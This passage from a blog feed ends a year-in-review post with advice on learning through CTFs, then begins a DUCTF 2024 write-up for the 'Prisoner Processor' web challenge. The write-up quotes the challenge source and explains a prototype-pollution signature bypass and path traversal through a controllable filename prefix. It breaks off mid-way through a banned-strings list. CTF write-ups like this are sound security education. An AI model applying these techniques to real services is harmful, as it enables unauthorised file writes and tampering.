<p>I also see it yield a very particular environment for a particular type of Extremely Anxious, Hyperfocused Student. If you want a good chance at getting into the CS major, you need good grades, obviously. If you want to really optimize your chances than you&rsquo;re probably going to look for the courses that are &ldquo;easy&rdquo; to take but still relevant to what you&rsquo;re going to study for in CS. This means enrolling in the courses that are the least amount of work needed to get the highest grade possible - for example, you tend to see many CS students at UBC take Philosophy 220, because it covers much of the same ground as Computer Science 121. Both courses cover logic, just under different pretenses. A CPSC 121 student won&rsquo;t really be covering new ground in PHIL 220 and vice-versa.</p>
<p>In your first year, if you want to get into CPSC, you need to get the high grades. It&rsquo;s &ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;easy&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo; to get high grades if you take &ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;easy&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo; and <strong>relevant</strong> courses. And the cycle sorta continues. If you want to participate in the Science or Arts CS co-op program, you need a specific average. So you will continue minmaxxing for high grades on &ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;easy&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo; and <strong>relevant</strong> courses. This means that you get really good at taking tests and studying for specific concepts in material. It&rsquo;s good to get the full picture but it&rsquo;s efficient to read out the paragraphs that explain the specific problem you&rsquo;re trying to solve.</p>
<p>At a certain point, the material for upper-level courses shifts. The general expectation of the CS student at this point is to instead focus on a skillset that they feel most useful to them. In your 4th year, you&rsquo;re not going to have the time nor energy to be able to try all the <strong>relevant</strong> courses anymore, and also, <em>fucking most of them are NOT</em> &ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;easy&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;. Maybe some of them are but that is a more subjective take over anything else.</p>
<p>Alot of CPSC students will happily reccommend their favourite upper-level courses and often use words to describe the course&rsquo;s merits on how interesting it is, how dynamic it is, how relevant it is to the world, how much they like the professor, or how unique and cool the material is. You will still see some comments on the general difficulty of the course but that goes into lesser relevance over raving about how cool they thought the course material was.</p>
<p>You&rsquo;re still going to have to take tests in your upper-level courses duh, but this time, UBC is hoping you&rsquo;ve chosen the upper-level courses that you don&rsquo;t mind going the extra mile for. The courses that, you know, you would read more into the textbook for. I don&rsquo;t think that&rsquo;s a hard ask of a 4th year student to choose the courses that they actually want to delve into the material for. UBC is hoping that, alongside all of those skills you developed minmaxing for high grades on &ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;&ldquo;easy&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo;&rdquo; courses, you also developed skills of curiosity and a healthy respect for the desire to develop a robust skillset. Let me be clear: that is a mindset you should have been developing on your own, outside of class. This is relevant because the real world cares less and less about your GPA minmaxxing ratio. It cares if you have the ability to solve problems you&rsquo;ve never seen before, with skills you built from twisting material you learn into new scenarios for your own curiosity. The real world is not a standardized test.</p>
<p>So if you &ldquo;study&rdquo; for DEF CON like a standardized test, I think you&rsquo;ll get much of the base points <em>in theory</em>. But in practice, DEF CON isn&rsquo;t a standardized test. And neither was Hackceler8. And neither was my interview process. And neither is my job. The generalized skill of learning how to take a test is a different thing over learning how to build your skills that allow you to succeed in intense events (as a side note can you imagine if there was standardized test taking as a weird olympic sport? Oh my GOD all my &ldquo;gifted as a child&rdquo; peers RISE UP).</p>
<p>You need to build skills that reward curiosity and are rewarded by active and consistent question-asking, ambition, and a genuine pursuit for knowledge. You need to build skills that have you look at the unknown with excitement and apprehension - not giving up at first sight of adversary. My colleagues say it best: if hacking was easy, <strong>everyone would do it</strong>.</p>
<p>Anyway. In relation to qualifying for big events like Hackceler8, DEF CON, SECCON, the proof is in the pudding - you put consistent effort in the things that you are genuinely curious about. You have to broaden your horizons by getting dirty into the material you want to earnestly learn. You dont just get there by solving a CTF challenge and checking the box, you get there by deeply investing in the topics that the CTF challenge demands you to understand. If you have solved an XSS sanitization bypass, I expect you to be able to tell me more about the web API standards, DOMpurify, and XSS DOM sinks and sources, or even beyond: service workers, event handlers, server-side XSS - if you actually marinated with the challenge. And if you&rsquo;re not genuinely curious about it, it will be hard to scratch up the will and determination to keep learning.</p>
<p>You don&rsquo;t <em>just</em> learn reverse engineering, you&rsquo;re also learning things like rapidly prototyping environments to replicate the vulnerability you want to exploit. You don&rsquo;t <em>just</em> learn web exploits, you&rsquo;re also learning how different web APIs in the window interact with and potentially fuck up security boundaries. My advice, summed up, is to stand on business. You&rsquo;re not just learning about how to solve a CTF challenge, you&rsquo;re learning about all the concepts that lead up to it. <em>Be curious</em>. Explore and answer the questions that pop up in your head, on your own. Don&rsquo;t be afraid to be wrong. Don&rsquo;t be afraid to tackle a challenge you don&rsquo;t know anything about. Just understand that investing in your curiosity and delving deeper into your own interests is, like any investment, one that takes time. Spend less time trying to learn things passively, or going over material you have mastered already. We&rsquo;re not trying to solve the same kind of problem here, nor are we studying for a test - you don&rsquo;t need to memorize definitions exactly to get points. Start getting into this habit: <strong>Try a CTF challenge, and don&rsquo;t even consider looking at a writeup until you have deconstructed every piece of code in the challenge</strong>. Ask ALL of the questions: &ldquo;what is this API? What does this keyword mean? What is this? What is that? What happens if I do this?&rdquo; - if your brain asks the question, your brain commits the answer to memory alot easier. As someone who spent 2 decades (<strong>20 FUCKING YEARS OF MY LIFE</strong>), I should know. Good things take time, and time rewards curiosity. Time is also consistent, so you should be too.</p>
<h2 id="cool-anything-else">Cool, anything else?</h2>
<p>Uhh. I did Hackceler8 2024 commentary and game design again. That was really fun. Here&rsquo;s a few photos from Spain (where Hackceler8 took place this year):</p>

    <img src="/images/malaga_cathedral.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />



    <img src="/images/MALAGA.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />



    <img src="/images/HCL8.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<p>I really do like documenting the things I did in the wake of a shit year because it does remind me that 2024 was still a good year of growth. Here are some of my favorite things from 2024:</p>
<ul>
<li>MMM hat trick at DEF CON, winning the last 3 consecutively</li>
<li>Making and expanding upon Hackceler8 2024, which is a feat I can&rsquo;t claim full credit for, I am very thankful to be working with a talented group of literally the best security people I have ever met</li>
<li>Kendrick won his Drake v. Kendrick beef</li>
<li>I did a talk at Area41 talking about how an artist became a hacker which covers alot of the points I talked about here already</li>
</ul>
<h2 id="new-years-resolutions">New Year&rsquo;s Resolutions</h2>
<p>ᶦᵈᵏ ᵈᵘᵈᵉ ᶦ ᵏᶦⁿᵈᵃ ʲᵘˢᵗ ʷᵃⁿᵗ ᵃ ᵇʳᵉᵃᵏ</p>
<p>I&rsquo;d like to be more proactive about some of the projects that I wasn&rsquo;t able to keep track of this year. I set the pathway stones down for some things I wanted to do for a really long time, so I&rsquo;m treating 2024 as a filler arc and hoping 2025 I actually do remember who the fuck I am and get to achieving some milestones.</p>
<p>I said earlier that I spent most of my time becoming an artist completely on my own. I don&rsquo;t think I&rsquo;d go back to dedicating more years to it, but I do think I would be happy to spend a little more time in the CTF community, probably because I have great people around me.</p>
<p>Maybe that&rsquo;s my advice. Just, like, find a really cool team of really cool people who are not just your CTF teammates but are also your friends. I think that helps a lot.</p>
<p>Anyway, goodbye 2024.</p>
]]></content>
        </item>
        
        <item>
            <title>DUCTF 2024: Prisoner Processor</title>
            <link>https://jamvie.net/posts/2024/07/ductf-2024-prisoner-processor/</link>
            <pubDate>Sun, 07 Jul 2024 10:29:46 -0400</pubDate>
            
            <guid>https://jamvie.net/posts/2024/07/ductf-2024-prisoner-processor/</guid>
            <description>DUCTF 2024 has concluded this summer, and I decided to take a look at it with Maple Bacon and solve a few challenges. This is specifically a writeup for &amp;ldquo;Prisoner-Processor&amp;rdquo;, the hardest web challenge available. My teammate Angus and I solved this together. It was a great challenge and ventured into alot of interesting things about Bun and TypeScript, so kudos to the authors for making such an interesting challenge!</description>
            <content type="html"><![CDATA[<p>DUCTF 2024 has concluded this summer, and I decided to take a look at it with Maple Bacon and solve a few challenges. This is specifically a writeup for &ldquo;Prisoner-Processor&rdquo;, the hardest web challenge available. My teammate Angus and I solved this together. It was a great challenge and ventured into alot of interesting things about Bun and TypeScript, so kudos to the authors for making such an interesting challenge!</p>
<h2 id="specs">SPECS</h2>
<h3 id="startsh">start.sh</h3>
<p>The start.sh script is more sus than other conventional start.sh scripts as it will attempt to restart the server 5 times, then copy a backup to the app folder if it couldn&rsquo;t restart, and retry again in a perpetual loop.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>cd /app;
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Loop in case the app crashes for some reason ¯\_(ツ)_/¯</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> :; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> i in <span style="color:#66d9ef">$(</span>seq <span style="color:#ae81ff">1</span> 5<span style="color:#66d9ef">)</span>; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>        bun run start;
</span></span><span style="display:flex;"><span>        sleep 1;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Okay for some reason something really goofed up...</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Restoring from backup</span>
</span></span><span style="display:flex;"><span>    cp -r /home/bun/backup/app/* /app;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span></code></pre></div><p>It&rsquo;s technically not <em>wrong</em> to have a start.sh auto-restart a server if it goes down, but there&rsquo;s a few ways to do that that&rsquo;s considered &ldquo;cleaner&rdquo;. On the infrastructural side, enabling <code>restart: always</code> in the docker-compose.yml file does the same thing, with the added benefit of restarting the whole container, on a clean serving of the app data (no need to copy a backup). Basically, having the app do the restarts in the challenge itself seems weird. This is important for later.</p>
<h3 id="indexts">index.ts</h3>
<p>Some ground truths about the challenge:</p>
<ul>
<li>It runs on TypeScript, and the runtime is <a href="https://bun.sh/">Bun</a></li>
<li>It&rsquo;s a prisoner?? database with an &ldquo;examples&rdquo; endpoint that gives you a JSON of all of Oceania&rsquo;s prisoners and their crimes. Each prisoner JSON has properties that are prefixed with <code>signed.</code>, and these signed properties are used for signature generation.</li>
<li>The app can accept submitted JSON, validate its signature, then use <code>stringify</code> from a yaml module to convert into yaml. The JSON-to-YAML is yeeted into a new file, and the app checks for the existence of an <code>outputPrefix</code> in the JSON data. If it exists, it&rsquo;s put into the filename as <code>outputPrefix-&lt;random sequence of chars&gt;.yaml</code> and saved into a folder called <code>/app-data/</code>. That file will not be used anywhere else in the app after it&rsquo;s created.</li>
</ul>
<h2 id="exploits">Exploits</h2>
<h3 id="bypassing-signature-validation-with-top-level-prototype-pollution">Bypassing Signature Validation with Top-level Prototype Pollution</h3>
<p>In <code>/src/index.ts</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ts" data-lang="ts"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">SIGNED_PREFIX</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`signed.`</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">getSignature</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">data</span>: <span style="color:#66d9ef">any</span>)<span style="color:#f92672">:</span> <span style="color:#66d9ef">string</span> <span style="color:#f92672">=&gt;</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">toSignArray</span> <span style="color:#f92672">=</span> Object.<span style="color:#a6e22e">entries</span>(<span style="color:#a6e22e">data</span>).<span style="color:#a6e22e">map</span>(([<span style="color:#a6e22e">k</span>, <span style="color:#a6e22e">v</span>]) <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">k</span><span style="color:#e6db74">}</span><span style="color:#e6db74">=</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">v</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">toSignArray</span>.<span style="color:#a6e22e">sort</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">s</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">createHmac</span>(<span style="color:#e6db74">&#39;sha256&#39;</span>, <span style="color:#a6e22e">SECRET_KEY</span>)
</span></span><span style="display:flex;"><span>  .<span style="color:#a6e22e">update</span>(<span style="color:#a6e22e">toSignArray</span>.<span style="color:#a6e22e">join</span>(<span style="color:#e6db74">&#34;&amp;&#34;</span>))
</span></span><span style="display:flex;"><span>  .<span style="color:#a6e22e">digest</span>(<span style="color:#e6db74">&#34;hex&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">s</span>;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">hasValidSignature</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">data</span>: <span style="color:#66d9ef">any</span>, <span style="color:#a6e22e">signature</span>: <span style="color:#66d9ef">string</span>)<span style="color:#f92672">:</span> <span style="color:#66d9ef">boolean</span> <span style="color:#f92672">=&gt;</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">signedInput</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">getSignature</span>(<span style="color:#a6e22e">data</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">signedInput</span> <span style="color:#f92672">===</span> <span style="color:#a6e22e">signature</span>
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">getSignedData</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">data</span>: <span style="color:#66d9ef">any</span>)<span style="color:#f92672">:</span> <span style="color:#66d9ef">any</span> <span style="color:#f92672">=&gt;</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">signedParams</span>: <span style="color:#66d9ef">any</span> <span style="color:#f92672">=</span> {};
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">param</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">data</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">param</span>.<span style="color:#a6e22e">startsWith</span>(<span style="color:#a6e22e">SIGNED_PREFIX</span>)) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">keyName</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">param</span>.<span style="color:#a6e22e">slice</span>(<span style="color:#a6e22e">SIGNED_PREFIX</span>.<span style="color:#a6e22e">length</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">signedParams</span>[<span style="color:#a6e22e">keyName</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">data</span>[<span style="color:#a6e22e">param</span>];
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">signedParams</span>;
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>The above functions are responsible for the signature checking. The signature is used to stop us from creating our own JSON objects. The signature is computed with a secure I&rsquo;m-not-gonna-try-to-bruteforce method and is based on all properties in the JSON whose key value starts with <code>signed.</code>. If we modify the signed properties in any way, the signatures won&rsquo;t match and the app will reject our JSON. However, the functions don&rsquo;t check // don&rsquo;t care for properties in the JSON whose key value <em>don&rsquo;t</em> start with <code>signed.</code>, so we can freely add arbitrary properties as long as their key doesn&rsquo;t start with <code>signed.</code>, and those additional properties won&rsquo;t affect the signature. We still wouldn&rsquo;t be able to make a JSON from scratch due to the I&rsquo;m-not-gonna-try-to-bruteforce method to make a new signature, but we can copy one from the &ldquo;examples&rdquo; endpoint and reuse its signature.</p>
<p>An example JSON file looks like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-JSON" data-lang="JSON"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;signed.name&#34;</span>: <span style="color:#e6db74">&#34;jeff&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;signed.animalType&#34;</span>: <span style="color:#e6db74">&#34;emu&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;signed.age&#34;</span>: <span style="color:#ae81ff">12</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;signed.crime&#34;</span>: <span style="color:#e6db74">&#34;assault&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;signed.description&#34;</span>: <span style="color:#e6db74">&#34;clotheslined someone with their neck&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;signed.start&#34;</span>: <span style="color:#e6db74">&#34;2024-03-02T10:45:01Z&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;signed.release&#34;</span>: <span style="color:#e6db74">&#34;2054-03-02T10:45:01Z&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The function <code>getSignedData</code> will be given JSON like this and look for any keys using <code>Object.entries</code> that start with <code>signed.</code>, and assign it to an empty object. That object, after having been given all the <code>signed.</code> properties, is then returned.</p>
<p>The assigning is vulnerable to top-level prototype pollution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ts" data-lang="ts"><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">param</span>.<span style="color:#a6e22e">startsWith</span>(<span style="color:#a6e22e">SIGNED_PREFIX</span>)) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">keyName</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">param</span>.<span style="color:#a6e22e">slice</span>(<span style="color:#a6e22e">SIGNED_PREFIX</span>.<span style="color:#a6e22e">length</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">signedParams</span>[<span style="color:#a6e22e">keyName</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">data</span>[<span style="color:#a6e22e">param</span>];
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p><code>signedParams[keyName] = data[param];</code> allows you to assign arbitrary properties but only one-layer down. This is not a recursive assignment, so you can&rsquo;t give whole objects to the data. So we can define a <code>signed.__proto__</code> as a key and add additional properties in there - and because <code>Object.entries()</code> doesn&rsquo;t go up the prototype chain during the signature check - but the <code>for (const param in data)</code> loop to assign props DOES go up the prototype chain, it will be added to the object but it won&rsquo;t violate the signature check. This function is used later on in this snippet of code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ts" data-lang="ts"><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">body</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">response</span>.<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">valid</span>(<span style="color:#e6db74">&#39;json&#39;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">data</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">signedData</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">getSignedData</span>(<span style="color:#a6e22e">data</span>)
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">signature</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">signature</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">hasValidSignature</span>(<span style="color:#a6e22e">signedData</span>, <span style="color:#a6e22e">signature</span>)) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">response</span>.<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">msg</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;signatures do no match!&#34;</span> }, <span style="color:#ae81ff">400</span>);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">outputPrefix</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">z</span>.<span style="color:#66d9ef">string</span>().<span style="color:#a6e22e">parse</span>(<span style="color:#a6e22e">signedData</span>.<span style="color:#a6e22e">outputPrefix</span> <span style="color:#f92672">??</span> <span style="color:#e6db74">&#34;prisoner&#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">outputFile</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">outputPrefix</span><span style="color:#e6db74">}</span><span style="color:#e6db74">-</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">randomBytes</span>(<span style="color:#ae81ff">8</span>).<span style="color:#a6e22e">toString</span>(<span style="color:#e6db74">&#34;hex&#34;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">.yaml`</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">convertJsonToYaml</span>(<span style="color:#a6e22e">data</span>, <span style="color:#a6e22e">outputFile</span>)) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">response</span>.<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">msg</span>: <span style="color:#66d9ef">outputFile</span> });
</span></span><span style="display:flex;"><span>      } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">response</span>.<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">msg</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;failed to convert JSON&#34;</span> }, <span style="color:#ae81ff">500</span>);
</span></span><span style="display:flex;"><span>      }
</span></span></code></pre></div><p>As in, the data is stored in the variable <code>signedData</code>. Because the pollution is shallow, we will need to look for properties that the code is checking in the object itself for, AKA, is <code>signedData</code> expected to have any other properties that were not previously defined? The answer is yes: <code>const outputPrefix = z.string().parse(signedData.outputPrefix ?? &quot;prisoner&quot;)</code>. <code>outputPrefix</code> will be &ldquo;prisoner&rdquo; if it wasn&rsquo;t defined, otherwise we have full control over that value if we do define it. This is useful for us because <code>outputPrefix</code> is next used to create the filename in <code>outputFile</code>, which is created as a template string with <code>outputPrefix</code> prepended to the rest of the filename. We have, ostensibly, semi-control over the filename. We can certainly LFI and traverse the directories by making <code>outputPrefix</code> a bunch of <code>../</code> characters, but before we get into how we&rsquo;re gonna use it, we gotta review the other bugs first.</p>
<h3 id="nullbytes">Nullbytes</h3>
<p>The function <code>convertJsonToYaml</code> is defined here. Remember that the app doesn&rsquo;t actually use the yaml file anywhere, it&rsquo;s just stored somewhere.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ts" data-lang="ts"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">convertJsonToYaml</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">data</span>: <span style="color:#66d9ef">any</span>, <span style="color:#a6e22e">outputFileString</span>: <span style="color:#66d9ef">string</span>)<span style="color:#f92672">:</span> <span style="color:#66d9ef">boolean</span> <span style="color:#f92672">=&gt;</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">checkIfContainsBannedString</span>(<span style="color:#a6e22e">outputFileString</span>)) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">filePath</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">OUTPUT_YAML_FOLDER</span><span style="color:#e6db74">}</span><span style="color:#e6db74">/</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">outputFileString</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">outputFile</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Bun</span>.<span style="color:#a6e22e">file</span>(<span style="color:#a6e22e">filePath</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// Prevent accidental overwriting of app files
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">existsSync</span>(<span style="color:#a6e22e">outputFile</span>)) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">yamlData</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">stringify</span>(<span style="color:#a6e22e">data</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">Bun</span>.<span style="color:#a6e22e">write</span>(<span style="color:#a6e22e">outputFile</span>, <span style="color:#a6e22e">yamlData</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>  } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">error</span>(<span style="color:#a6e22e">error</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>Tracing the logic from above, the arg <code>outputFileString</code> will be the <code>outputFile</code> that we can control the prefix of. First, it&rsquo;s checked to see if we don&rsquo;t have any banned words:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ts" data-lang="ts"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">BANNED_STRINGS</span> <span style="color:#f92672">=</span> [
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;app&#34;</span>, <span style="color:#e6db74">&#34;src&#34;</span>, <span style="color:#e6db74">&#34;.ts&#34;</span>, <span style="color:#e6db74">&#34;node&#34;</span>, <span style="color:#e6db74">&#34;package&#34;</span>, <span style="color:#e6db74">&#34;bun&#34;</span>, <span style="color:#e6db74">&#34;home&#34;</span>, <span style="color:#e6db74">&#34;etc&#34;</span>, <span style="color:#e6db74">&#34;usr&#34;</span>, <span style="color:#e6db74">&#34;opt&#34;</span>, <span style="color:#e6db74">&#34;tmp&#34;</span>, <span style="color:#e6db74">&#34;index&#34;</span>, <span style="color:#e6db74">&#34;.sh&#34;</span>
